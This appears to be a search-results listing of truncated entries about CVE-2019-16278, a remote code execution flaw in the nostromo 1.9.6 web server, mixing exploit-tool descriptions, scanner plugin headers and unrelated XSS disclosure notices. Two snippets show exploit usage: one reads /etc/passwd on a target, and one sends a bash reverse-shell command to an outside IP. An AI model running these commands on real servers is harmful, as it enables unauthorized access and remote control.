30 matches found
cve-2019-16278
CVE-2019-16278 これはCVE-2019-16278脆弱性のエクスプロイトです。 nhttpd サーバー v1.9.6 でリモートコード実行を可能にします。 ソースからのビルド このツールはRustで書かれています。Rustコンパイラをインストールする必要がありますが、ページの指示に従えば非常に簡単です。 コンパイル コンパイラと cargo がインストールされたら、次のコマンドを実行します： root@kitploit: cargo build 例 root@kitploit: ./cve-2019-16278 10.10.1.1 80 "cat /etc/passwd"...
CVE-2019-16278
CVE-2019-16278 💻 -h3x0v3rl0rd- nostromo 1.9.6 - 远程代码执行...
nostromo 1.9.6 - Remote Code Execution
nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via directory traversal in the function httpverify. id: CVE-2019-16278 info: name: nostromo 1.9.6 - Remote Code Execution author: pikpikcu severity: critical description: nostromo nhttpd through 1.9.6 allows an...
CVE-2019-16278-Nostromo-1.9.6-RCE
CVE-2019-16278-Nostromo-1.9.6-RCE 这是针对 Nostromo 1.9.6 RCE 漏洞（CVE-2019-16278）的一个利用程序。该利用程序可在目标机器上实现远程代码执行。 需求 optparse socat sys 用法 你可以按如下方式使用该利用程序： root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i & /dev/tcp/10.10.16.42/443 0&1'" b'HTTP/1.1 200...
CVE-2019-16278
Directory Traversal in the function httpverify in nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via a crafted HTTP request...
Exploit for Path Traversal in Nazgul Nostromo_Nhttpd
CVE-2019-16278 - Nostromo nhttpd RCE Vulnerability Descrip...
Nazgul Nostromo nhttpd < 1.9.7 Multiple Directory Traversal Vulnerabilities
Nazgul Nostromo nhttpd is prone to multiple directory traversal vulnerabilities. SPDX-FileCopyrightText: 2025 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...
catequesis.sannicolaselreal.es Cross Site Scripting vulnerability OBB-2914185
Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...
Nostromo < 1.9.7 Remote Code Execution
According to its Server response header, the installed version of Nostromo is prior to 1.9.7. It is, therefore, affected by remote code execution vulnerability. C Tenable Network Security, Inc. include'compat.inc'; if description scriptid142137; scriptversion"1.6";...
andtec-japan.com Cross Site Scripting vulnerability OBB-1409754
Following coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has:       a. verified the vulnerability and confirmed its existence;       b. notified the website operator about its existence...
valenciacollege.edu Cross Site Scripting vulnerability OBB-1221781
Following coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has:       a. verified the vulnerability and confirmed its existence;       b. notified the website operator about its existence...
Exploit for Path Traversal in Nazgul Nostromo_Nhttpd
CVE-2019-16278 !Rusthttps://github.com/keshiba/cve-2019-16...
Exploit for CVE-2019-15231
This repository contains a collection of exploits for various vulnerabilities, including unauthenticated remote command execution RCE and directory traversal. The exploits are written in Python and utilize various libraries such as requests and pymongo. The repository includes exploits for the...
adeleq.gr Cross Site Scripting vulnerability
Security Researcher IAMMUSTAFA Helped patch 521 vulnerabilities Received 9 Coordinated Disclosure badges Received 51 recommendations , a holder of 9 badges for responsible and coordinated disclosure, found a security vulnerability affecting adeleq.gr website and its users. Following coordinated a...
Exploit for Path Traversal in Nazgul Nostromo_Nhttpd
CVE-2019-16278: Nostromo Web Server’s remote command execut...
nostromo 1.9.6 - Remote Code Execution
nostromo 1.9.6 - Remote Code Execution Exploit Title: nostromo 1.9.6 - Remote Code Execution Date: 2019-12-31 Exploit Author: Kr0ff Vendor Homepage: Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz Version: 1.9.6 Tested on: Debian CVE : CVE-2019-16278 cve201916278.py !/usr/bin/env...
nostromo 1.9.6 - Remote Code Execution Exploit
Exploit Title: nostromo 1.9.6 - Remote Code Execution Exploit Author: Kr0ff Vendor Homepage: Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz Version: 1.9.6 Tested on: Debian CVE : CVE-2019-16278 cve201916278.py !/usr/bin/env python import sys import socket art = """ -2019-16278 \ \ ...
nostromo 1.9.6 - Remote Code Execution
Exploit Title: nostromo 1.9.6 - Remote Code Execution Date: 2019-12-31 Exploit Author: Kr0ff Vendor Homepage: Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz Version: 1.9.6 Tested on: Debian CVE : CVE-2019-16278 cve201916278.py !/usr/bin/env python import sys import socket art = """...
Exploit for Path Traversal in Nazgul Nostromo_Nhttpd
cve-2019-16278 Nhttpd...
nostromo 1.9.6 Remote Code Execution
Exploit Title: nostromo 1.9.6 - Remote Code Execution Date: 2019-12-31 Exploit Author: Kr0ff Vendor Homepage: Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz Version: 1.9.6 Tested on: Debian CVE : CVE-2019-16278 cve201916278.py !/usr/bin/env python import sys import socket art = """...